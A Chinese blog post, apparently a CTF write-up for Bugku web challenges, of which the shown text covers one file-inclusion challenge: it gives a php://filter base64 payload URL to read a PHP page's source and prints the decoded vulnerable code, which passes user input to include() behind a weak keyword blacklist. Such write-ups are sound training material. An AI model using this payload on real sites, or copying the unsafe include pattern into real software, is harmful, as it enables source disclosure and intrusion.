bugku web 17~24 write up

最新推荐文章于 2021-04-10 19:56:50 发布

h0ryit

最新推荐文章于 2021-04-10 19:56:50 发布

阅读量1.8k

点赞数 1

分类专栏： ctf练习文章标签： bugku

本文链接：https://blog.csdn.net/w0ryitang/article/details/80147275

版权

这篇博客详细记录了作者在Bugku平台完成Web挑战17到24的过程，涉及文件包含漏洞、密码爆破、源码泄露、SQL注入、时间计算和Cookies欺骗等多个安全问题的解决方法。通过Payload构造和分析，最终成功获取各关卡的flag。

摘要由CSDN通过智能技术生成

bugku web 17~24 write up

flag在index里

打开页面有一个链接，点击链接发现url栏出现file，关键字想到文件包含漏洞。
关于文件包含漏洞的学习可以参考链接：https://zhuanlan.zhihu.com/p/25069779

直接修改file参数：http://120.24.86.145:8005/post/index.php?file=index.php
发现没有得到我们想要的信息，思路中断，上网搜。

了解了一下php://filter伪协议：
https://www.cnblogs.com/likai/archive/2010/01/29/1659336.html、
以及php://filter的一些应用:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

补充相关知识后，明白php://filter可以进行文件读取：
payload：
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到一串base64码，解码整理如下：

<html>
    <title>Bugku-ctf</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){
  echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{？？？？？？？}//打码
?>
</html>